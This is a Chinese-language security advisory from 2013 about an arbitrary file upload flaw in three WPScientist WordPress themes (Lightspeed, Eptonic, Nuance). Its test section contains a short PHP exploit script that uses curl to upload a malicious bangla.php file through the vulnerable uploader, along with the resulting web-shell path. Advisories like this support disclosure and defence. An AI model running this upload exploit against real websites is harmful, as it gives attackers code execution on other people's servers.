WordPress 多个WPScientist主题任意文件上传漏洞


发布日期:2013-01-04
更新日期:2013-01-06

受影响系统:
WordPress Eptonic Theme 1.x
 WordPress Lightspeed Theme 1.x
 WordPress Nuance Theme 1.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57152
 
WPScientist是WordPress上使用的一系列主题。
 
WordPress使用的多个WPScientist主题存在安全漏洞,valums_uploader/php.php脚本允许上传任意扩展名的文件到webroot内的文件夹,通过上传恶意PHP脚本,可导致执行任意PHP代码。
 
有漏洞的主题:
 Lightspeed v1.1.2
 Eptonic v1.4.3
 Nuance v1.2.3
 
<*来源:JingoBD
 
  链接:http://secunia.com/advisories/51714/
        http://www.securelist.com/en/advisories/51714
        http://packetstormsecurity.com/files/119241/WordPress-Valums-Uploader-Shell-Upload.html
 *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# Exploit Title: Wordpress Valums Uploader Shell Upload Exploit
 # Date: 4-1-2013
 # Author: JingoBD
 # Tested on: Windows 7 And Ubuntu
 # Team: BANGLADESH CYBER ARMY
 # Greetz: ManInDark,Rex0Man,Evil AXE,Bedu33n,NEEL,AXIOM, And All Of My BCA Friends. They Rockz. :D 
          ALSO ALL BANGLADESHI Hacker Team.. 
 
=================== EXPLOIT====================
 <?php
 
$uploadfile="bangla.php";
$ch =
 curl_init("http://localhost/wordpress/VALUMS_UPLOADER_PATH/php.php");
 curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
 array('qqfile'=>"@$uploadfile"));
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $postResult = curl_exec($ch);
 curl_close($ch);
 print "$postResult";
 
?>
 
Shell Access: http://localhost/wp-content/uploads/2013/01/bangla.php
 
=========================END======================

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
WordPress
 ---------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://themeforest.net/item/eptonic-beyond-the-limits/241366

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